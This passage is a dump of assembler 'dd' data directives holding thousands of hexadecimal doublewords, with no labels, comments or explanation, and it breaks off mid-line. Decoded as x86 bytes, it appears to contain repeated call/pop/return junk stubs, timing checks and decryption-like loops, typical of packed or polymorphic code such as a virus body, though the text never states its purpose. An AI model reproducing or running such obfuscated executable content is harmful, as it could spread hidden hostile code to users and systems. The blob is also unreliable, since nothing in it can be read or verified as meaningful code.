80006A5Fh, 95FFF3D3h, 6073201h dd 7E9h, 299D2D00h, 7D573ABDh, 697B9h, 0E183FC00h, 57006AFCh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 33DB7313h, 965BD74Ah, 6AFCA9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0C3806AC3h, 8890FABh dd 52000000h, 0F79BD33h, 0F55B0607h, 0B8h, 5880F00h, 66000000h dd 6FBFC381h, 0BAh, 0D1BD8B00h, 8B06071Fh, 71CC9BDh, 0C233AD06h dd 0D003E8D1h, 7504E983h, 0C19D89F4h, 6A060708h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3BD3C352h, 31C26256h, 7ABB66B7h, 850FA6h, 0D000000h dd 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 54C35646h, 0C663337h, 0CFD781ACh, 8B597CC5h, 72CB19Dh dd 41958B06h, 6A06071Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 10D7C353h, 95896A29h dd 6071249h, 6058D8Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0A59DD1C3h, 814458BFh dd 0C28B504Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F558188Bh dd 10E9h, 0E02B400h, 43EB4A0Fh, 97990A3Dh, 0ED9450FBh dd 0D1BD8369h, 6070Bh, 88840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0F955B6C3h dd 2B351FF5h, 899915E9h, 72A259Dh, 0B8F88B06h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3DC35747h dd 48E8C592h, 1D9D89D6h, 8D060704h, 74DB48Dh, 0DF816606h dd 0E1FFBF22h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0ADC35040h, 0FF9EB4Dh, 0BD83F8BFh, 6070069h, 3A840F00h dd 0F000004h, 186h, 0BD8BF500h, 6070755h, 69BD83h, 0F010607h dd 43B84h, 0F59D8B00h, 83060705h, 70069BDh, 860F0306h dd 3F2h, 32E9BD8Bh, 6A600607h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 25C1C351h, 2B235447h dd 8D0FE2AFh, 7, 66EE8A60h, 6661CF8Bh, 9D8BD98Ch, 6070C4Dh dd 0F504E180h, 1EBDBD8Bh, 0C90A0607h, 15A840Fh, 8D090000h dd 6072635h, 306D858Bh, 0F3800607h, 58533C3h, 6A060733h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8C5EC353h, 52F1BD56h, 90121BAAh, 14E950h dd 720E0000h, 6C79EDA4h, 3B9B2384h, 9EA435DEh, 662C3B31h dd 6A902537h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C2FDC356h, 6B005FF2h, 81EFDA33h dd 0A64A07F7h, 6AD98B7Ah, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 9550627h, 0F6652730h dd 0C6F78166h, 0EF816662h, 4E89471h, 0FF000000h, 0F001F03h dd 885h, 2860F00h, 53000000h, 448B505Fh, 66600424h, 605227B9h dd 61615B50h, 5250008Bh, 0F525060h, 0F585A31h, 89h, 310F6100h dd 3B37BF66h, 4489585Ah, 830F0424h, 2, 8B5802B3h, 71015BDh dd 9195FF06h, 6A06071Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0F8DEC351h, 6D46C620h dd 893C4022h, 0AB37285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 1DDE9CEh, 0BD330000h dd 60731ADh, 0B36A858Bh, 9529060Ah, 6070761h, 1800C7h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 4246CC3h, 8BD88BE9h, 0AB36EB5h, 66536006h dd 88C2CA81h, 800F605Bh, 0 dd 19D8D181h, 616131A1h, 1579858Bh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 3A1929C3h dd 6A06896Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 976BC351h, 6D858BEDh, 6A060730h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B5AC352h, 70BFDBDh, 69BD8B06h, 2906072Dh dd 72EC185h, 4468906h, 0B0E78166h, 6D9D8BB3h, 50060700h dd 0F5243489h, 0B36AB5FFh, 6A060Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8166A6C3h dd 688AE8C7h, 68793AD6h, 0EE9h, 3B22F600h, 72341CE7h, 20688662h dd 8111B8D6h, 39292434h, 6A6866h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 8CE879C3h, 9D8B6038h dd 6070179h, 5D19D89h, 8D610607h, 0AB37285h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 3D9C732h, 3983452h, 0DAB86083h, 8B1B50F3h, 712F19Dh dd 85096106h, 6072991h, 34BF6650h, 24048972h, 0CE9h, 0FAADDF00h dd 4BC67FEDh, 0E408279Dh, 9195FF9Ah, 6A06071Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 603AC357h, 21950152h, 5906070Bh, 1BD9B58Bh, 61610607h dd 6985C7FCh, 3060700h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 3B93C353h dd 0A4D37B16h, 0E5BD31ACh, 83060722h, 0AB372BDh, 840F0006h dd 2Eh, 33459501h, 85890607h, 6070595h, 38E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 305052AEh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 47C9B8DEh, 0E19D2988h, 6A060717h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 78EFC350h, 0DBB70F69h, 7CCEC781h, 0BD8305FDh dd 6070069h, 77850F03h, 83000004h, 0AB372BDh, 840F0006h dd 46Ah, 2BF99D2Bh, 0BF0F0607h, 72B5FFFBh, 0BF060AB3h dd 7E95AEFEh, 154595FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 526695C3h, 18858D31h dd 8B5B0607h, 0AB366B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0C4F749CBh, 8AD4AE67h dd 0ABBF66F8h, 106C733h, 6A000100h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6D38C357h dd 224C83D4h, 96C07429h, 4A51B9BFh, 6A965045h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 8D3AC357h, 0A8484A5Ah, 850F651Dh, 5, 12F38166h, 0E9DA8BD6h dd 0Ch, 0B48CA4B3h, 4AE17BDh, 0A9D94D5Bh, 0B372B5FFh, 0BD8B060Ah dd 607174Dh, 91195FFh, 10E80607h, 39000000h, 0AD90C09h dd 0C7FA9F1Dh, 21179651h, 6682C85Bh, 5F7028BBh, 12E9h dd 0D0114000h, 5172DD1Dh, 7E3731Bh, 1CFA32ADh, 8B19BAD9h dd 0AB366B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 54A250D9h, 6609131Ch, 8B66D88Bh dd 0C9858BDEh, 906072Ch, 703B585h, 0C4868906h, 0E9000000h dd 0Ah, 0EB473208h, 1EA7DCCEh, 958BDD1Ch, 6071B41h, 5850Fh dd 81660000h, 83758BF3h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 4ADB3CC3h, 6A205089h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0B359C352h, 8E9h, 0C9714400h, 3280A7FEh dd 0ED858DCFh, 56060AC7h, 12E9h, 0F5362800h, 0BD0001C6h dd 3A4DA24Bh, 8E0D11C7h, 5BAFEB76h, 0B88689h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 171342C3h, 0FA8BC9B7h, 9D8B006Ah, 6072275h, 161D9D8Bh dd 0B5FF0607h, 60AB372h, 7B1B589h, 95FF0607h, 60729FDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C35747h dd 0CDDCBC3Ah, 0BD8B8BF5h, 6073219h, 5091B396h, 6A96FE8Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0EC1EC356h, 31C4B9ADh, 95891661h, 60703EDh dd 5419589h, 0B5FF0607h, 60AB372h, 0F780FE8Bh, 0A595FFD5h dd 6A06071Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 29D0C355h, 3860Fh, 0BF0F0000h dd 0ADBD83FAh, 60708h, 56840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9E920C3h dd 0EE000000h, 5C042912h, 0DB92C34Bh, 0E9565696h, 11h dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 505F5B35h dd 830Fh, 66960000h, 9D8BF88Bh, 6070AE9h, 0B372B5FFh, 6A060Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 7328C0C3h, 0BF0FFDDEh, 0D8B70FFEh, 260595FFh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0F78E9CC3h, 0FAA31F73h, 0B5FF2503h, 60AB372h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 87C35343h, 6E785ED2h dd 0D739E128h, 1DF195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 4C75C7C3h, 0F7B7320Ch dd 3B1BD83h, 0F020607h, 7684h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0F4E52270h dd 0A6CF8166h, 49858B2Fh, 6A060707h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6893C352h dd 0C65B52h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0EEB8ED3Dh, 0F83851Eh, 0DBD8B69h dd 0C7060702h, 70F4985h, 6, 0CB816600h, 0FAE9E0F4h, 6AFFFFF2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 935C352h, 72F75B5h, 6AC18B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 5C12C357h, 19DE3719h, 2298D31h, 858D0607h, 6071F19h dd 68C0Fh, 0BD8B0000h, 6070395h, 50D88B90h, 5E990h, 1E870000h dd 6A5EF87Ch, 0FFB70F00h, 5E956h, 0DBE20000h, 5FC1AA60h dd 810F006Ah, 0Eh, 91958960h, 8B060729h, 70F8595h, 858D6106h dd 60B42B4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 6BC35242h, 0BD8BD387h, 607174Dh, 0AB9B589h, 0C0830607h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 6E8E450h, 29000000h, 0E5E19C09h dd 10E9F1h, 0DCB80000h, 8393A0E9h, 0A7559CBDh, 0B7B97EE1h dd 665F154Fh, 5D18D781h, 509EB390h, 6E9h, 45685100h, 90A41A84h dd 0B5DB8166h, 6A006A68h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 666BC352h, 0AD0FE774h dd 0B589746Ah, 6070AA1h, 8953006Ah, 7002585h, 95FF5F06h dd 6071BCDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 85C35343h, 0A520ED15h, 6E9h, 0BC040900h, 8DE48766h dd 0AA5B78Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 29960F8Ah, 733519Dh, 6AD1FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 15B8C353h, 83B19822h, 71995BDh, 850F0106h, 61h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 29C35343h, 17A6E7B5h dd 0BF3D7231h, 9CAC71Fh, 9D33026Ah, 6071049h, 0BCBB6650h dd 2404899Ch, 0DE8h, 3403FB00h, 0D333920Bh, 1B52885Ch dd 0F609C7Ah, 8Ch, 61FE8B00h, 0FD95FF5Fh, 8B060729h, 72D099Dh dd 0DC8E906h, 0E80000h, 5D000000h, 42BEED81h, 6A060Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0AE01ACC3h, 8BFA3A4Eh, 702499Dh, 0B9BB6606h, 0A858DB1h dd 66060A91h, 9D8BFE8Bh, 6072ED9h, 0D88B5290h, 810F505Fh dd 7, 97A3BF52h, 905B0FD3h, 0AE8h, 0E6FA5C00h, 7096802Bh dd 0E8F1D0F5h, 0Dh, 0D13B24C1h, 0BEF46EECh, 6643FE4Dh dd 23EB801Ch, 0FF645F5Fh, 35h, 64D98B00h, 2589h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 429DDCC3h, 5F962984h, 95893A04h, 60704F5h, 0FA585FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 95506C3h, 0F652730h, 0D780DFB7h, 6AFF6A13h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 222C357h, 0F8DB529h, 0B5FF0607h, 6072C11h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4C35343h dd 0B2EB80E6h, 1FD9D8Bh, 95FF0607h, 6073035h, 13FE9h, 0CE900h dd 0DD4D0000h, 0F3E886E2h, 0DBF7666Ch, 0B0D7A7h, 0B370E6h dd 890F71E4h, 3, 3CFEB70Fh, 15830F61h, 0E9000001h, 0Ah dd 8CB30F6Dh, 0C7EB2E15h, 0B60FE8B8h, 6BAC8h, 0B70F0000h dd 81C18BFAh, 7013EBDBh, 6800F1Ah, 8B000000h, 70215BDh dd 4E8C106h, 1B5D9D29h, 0F7660607h, 0DEBB66E2h, 66C82B00h dd 8B66D4BBh, 6820FD1h, 89000000h, 7154DBDh, 7E906h, 0DC8A0000h dd 0A7DF8050h, 79858B5Bh, 66060733h, 0D0ADDB81h, 8B07C083h dd 71C719Dh, 0C08306h, 13880Fh, 7E80000h, 3F000000h, 3F25E4Ch dd 9D8B2F9Dh, 6072C69h, 9E85Fh, 7B5C0000h, 0FE0BA0F1h dd 0E84F6371h, 9, 35A14728h, 6D0E901Dh, 0B3BF665Ah, 3B5F5B97h dd 10830FD0h, 66000000h, 0E96A02BFh, 54h, 18F0Fh, 8BF80000h dd 72F3D8Dh, 4FBB6606h, 1E1835Dh, 3A840Fh, 95890000h, 6072C95h dd 17A19D8Bh, 0A5830607h, 6072F3Dh, 11E9FEh, 0E0F30000h dd 0A8EA7025h, 0B1A539AFh, 6342E241h, 89B99316h, 7337995h dd 8D8D8906h, 0E9060706h, 0 dd 0D35BB58Dh, 0F88B060Ah, 9589006Ah, 6070C55h, 320195FFh dd 0B9F90607h, 0DDCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0A5C35343h, 9D01452Ah, 6071F41h, 6AFCE183h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 3F0AC355h, 0A5408164h, 8BFCBC42h, 707459Dh dd 0FC02B06h, 0BAFABFh, 66000000h, 0ADC5FDBFh, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0C96FC356h, 8B3A48DCh dd 733559Dh, 7D9D8B06h, 0D060701h, 88h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 95C35343h, 0E2212C4Ch dd 19D8962h, 8B06071Fh, 704ED9Dh, 41958B06h, 8B06071Bh dd 7101DBDh, 58D8B06h, 6A060706h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9106C351h dd 0BB6654E8h, 8B6041BFh, 0EE9D1h, 24710000h, 89762CABh dd 0FC644CEDh, 8349EFA9h, 0C28B5061h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 91D2C351h, 0E860E99Ch dd 6, 6DDC97Eh, 5CB7E8E3h, 8185315Bh, 6606070Ah, 31E4CB81h dd 0BD1BD83h, 0F000607h, 7384h, 0DE95300h, 14000000h, 9DEE097Bh dd 0B6C03AECh, 1FD93B6Ch, 0B85Bh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8BC954C3h dd 71E49BDh, 0B48D8D06h, 6A06074Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BB31C357h dd 0F87FF5Dh, 0E1FFDFBFh, 2F959D8Bh, 0BD8B0607h, 60704FDh dd 69BD83h, 0F000607h, 4B184h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 81069BE0h dd 0DA8A6192h, 69BD83h, 0F010607h, 49C84h, 5FEF8100h, 831B60D9h dd 70069BDh, 860F0306h, 453h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 42C35141h, 8B6063D7h, 0D98C66DEh dd 6E860h, 0C0E10000h, 0C387DB17h, 8B5E6160h, 715C1B5h dd 0E1806106h, 0ED9D8B04h, 0A060701h, 90840FC9h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 45CAC352h, 472C0AAEh, 858B35B5h, 607306Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5C35747h dd 78152E57h, 1DD2EEFh, 72259B5h, 5853306h, 0F060733h dd 28Ah, 333DB700h, 718399Dh, 12E99006h, 0E5000000h, 7BC33F5h dd 0B9E1A83Ch, 65C31480h, 0AABFB25Ah, 52605006h, 810Fh dd 0E9590000h, 13h, 8C12A3F7h, 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh dd 61C5FEF7h, 0B9B53190h, 6A060718h, 0FE900h, 16F30000h dd 891E8A63h, 0C46ADDC5h, 43726728h, 81A3687Ah, 0F565C24h dd 488h, 0DABF6600h, 34815FDCh, 3B825C24h, 9195FF5Ch, 6A06071Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0D45FC352h, 2251BB75h, 8B2C64BCh, 703AD9Dh dd 9515006h, 715719Dh, 895B5B06h, 0AB37285h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0CE981EFh, 6E000000h, 0D6686C9Dh, 98B75CB0h, 0E9872D2Ch dd 22Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0D4C35747h, 0CB81E176h, 0FD68076h, 3890F60h, 0F000000h dd 13E9D8B7h, 86000000h, 25A6A51Ch, 0E91BF726h, 90E7BF25h dd 68BDF708h, 8B6184C1h, 0AB36A85h, 0BF0F6006h, 10E8F8h dd 0E4D30000h, 0B33D8287h, 6ECE6D3Ah, 39E678A6h, 6160ABDEh dd 0C7615Eh, 18h, 8BDEBF0Fh, 0AB36EB5h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0AA913888h, 0E9CB41D8h, 12h, 5848DA32h, 0C4D8B71Ch dd 560CB026h, 0F2713F3Dh, 858B4F2Ch, 6071579h, 89D98B66h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8BFB8D95h, 7306D85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 795246Bh, 6BA4707Fh dd 0BD89E507h, 607079Dh, 1B89B589h, 46890607h, 9E804h dd 6B080000h, 0A41BC4FBh, 8B2A9D74h, 715C99Dh, 8B665F06h dd 0DF8B96FEh, 0FA8B6650h, 45BD8B96h, 0F06070Fh, 86h, 6AB5FF00h dd 6A060AB3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0AD7BC355h, 337277DEh, 0B3BB6633h dd 74A668B5h, 6656604Fh, 815BF98Bh, 77592434h, 6A6050h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0AF4933C3h, 56720090h, 95018D4Bh, 60715D1h, 0B372858Dh dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0C18147C3h, 2D9D8960h, 89060717h, 705CDBDh dd 0E8906106h, 7, 3D97BBC3h, 507CB036h, 310F5250h, 5B5F585Ah dd 0B8BF6650h, 81669014h, 0FF64F1C7h, 71B9195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 9DD59B25h, 0BC32E7C1h, 4159589h, 0F610607h, 85C7DAB7h dd 6070069h, 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 63C35343h, 31C4A391h, 731598Dh, 72BD8306h, 60AB3h dd 55840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 7E6C4BC3h, 83DB809Eh, 49E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 46716B6Eh, 8E95816h, 0AF000000h, 6296A28Ah, 505ECA82h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0BF66C08Bh, 9E90BC7h, 8F000000h, 4D34EDA1h, 231A5D0Ch dd 69BD83h, 0F030607h, 3FB85h, 3AE38100h, 2365E321h, 71635BDh dd 72BD8306h, 60AB3h, 3E2840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0F3A3E6C3h dd 0DF77A139h, 0CA94CF81h, 0B5FF75B5h, 60AB372h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 24C35343h, 0C5EC7629h dd 66B36AC2h, 0FF6A32BFh, 7154595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0D7BA37C5h dd 4FFE48Bh, 0B58BFA8Bh, 60AB366h, 0B8DBD8Bh, 6C70607h dd 10001h, 6890Fh, 0EF810000h, 297C6B5Ch, 48F0F50h, 66000000h dd 8923F3BFh, 5E92434h, 92000000h, 0CECD578Ah, 0B372B5FFh dd 8D89060Ah, 6072645h, 91195FFh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h dd 44810424h, 1A0424h, 52420000h, 74BB42C3h, 52FDCEFAh dd 70DBD89h, 0B58B0607h, 60AB366h, 8BD68B60h, 73065B5h dd 858B6106h, 6072CC9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0E0C35141h, 0C48689h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0D8D18FC3h, 1B41958Bh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 4BF913C3h, 0AE8h, 463AC200h dd 0D1327AE9h, 5F3C4C85h, 6A04C283h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BD5C350h dd 710F19Dh, 20508906h, 26DE781h, 858D1484h, 60AC7EDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D3C35343h dd 2709BD23h, 5E90607h, 0E4000000h, 0C59713C2h, 0B88689h dd 8F0F0000h, 8, 2820Fh, 5F560000h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 493E19C3h dd 0F8E5D2CCh, 0B372B5FFh, 95FF060Ah, 60729FDh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2EC35343h, 0CE700995h dd 0E335F5Bh, 61BD334Eh, 50060703h, 0F88B6651h, 2434895Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F6C35141h dd 0BD8BA195h, 607079Dh, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D21D2FC3h dd 0A238634Ch, 5AEF806Ch, 68E0Fh, 0BD8B0000h, 6071D55h dd 1AA595FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 45C40DC3h, 0DA5571F8h, 0D8B70F71h dd 8ADBD83h, 0F000607h, 1D84h, 5D9D8900h, 9606072Ch, 50D88B66h dd 0E8E23ABBh, 0BD03964Dh, 6070129h, 7B99D8Bh, 0B5FF0607h dd 60AB372h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0AC35646h, 0EE31FBE6h, 447BA155h, 0B13FBF66h, 260595FFh dd 0B5FF0607h, 60AB372h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 77C35343h, 1A8F0Fh, 0EE80000h, 37000000h dd 632C14Eh, 5B92438Ah, 0A49D403h, 118D89EDh, 5B06072Dh dd 0CA816660h, 0D88B0D41h, 0F195FF61h, 5106071Dh, 2ECD8D89h dd 835B0607h, 703B1BDh, 840F0206h, 28h, 858BDA8Ah, 6070749h dd 800Fh, 0C60000h, 12E900h, 0C4E60000h, 8A800FA4h, 18A81DBDh dd 0EEA232E5h, 26870840h, 0F4985C7h, 607h, 8F0F0000h, 0Ch dd 7E9h, 0ECBE0500h, 0D7D1544Dh, 0FFF354E9h, 8D9531FFh dd 8B060704h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 1C6792D7h, 9E9h, 6E07CE00h, 0D6686C9Dh dd 858D5CB0h, 6071F19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 1DC35343h, 4B09DEE7h, 69C4B1FEh, 1659D31h dd 0E9500607h, 0Ah, 9D6ACCE1h, 55EBA4F0h, 48914DCh, 0DFBF0F24h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C425ACC3h, 947DFA9Dh, 0BF125478h, 2459DFA1h dd 0B589006Ah, 6072C0Dh, 11E9h, 0F345E100h, 0FA05B63Bh dd 3CA06C15h, 5C2DABB3h, 858D2602h, 60B52FFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 68C35040h, 0C0833AF8h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 20BDFF13h, 237954D5h, 72C4D9Dh, 0E8605106h dd 0Bh, 0AC80E1D1h, 0DAA5C844h, 58FA52A1h, 61D0B70Fh, 8B66505Fh dd 240489D9h, 18BDBD03h, 6AF80607h, 89BD8B00h, 6A060707h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0C00C5A17h, 276A3E48h, 13E9h, 585ACB00h dd 0A1C9D9Eh, 0D465BDE2h, 681DFD5Bh, 0D6F5C621h, 0CD95FFFCh dd 6A06071Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0ADEDC353h, 120319D0h, 0B78D8D2Ch dd 6A060AA5h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 2CBDC353h, 0FFF8FCA0h, 0C5BD31D1h dd 83060718h, 71995BDh, 850F0106h, 0D0h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 12C35646h, 7C8B4FADh dd 8D89EDD7h, 6073075h, 6A026Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0FC3BE1C3h, 13D8BCD6h dd 0AF6BEF81h, 0E9506313h, 0Bh, 0B232D5AEh, 0CCB86B47h dd 89F90F93h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0DCFF6CC3h, 19CDD826h, 19BD8589h dd 95FF0607h, 60729FDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0E9C35747h, 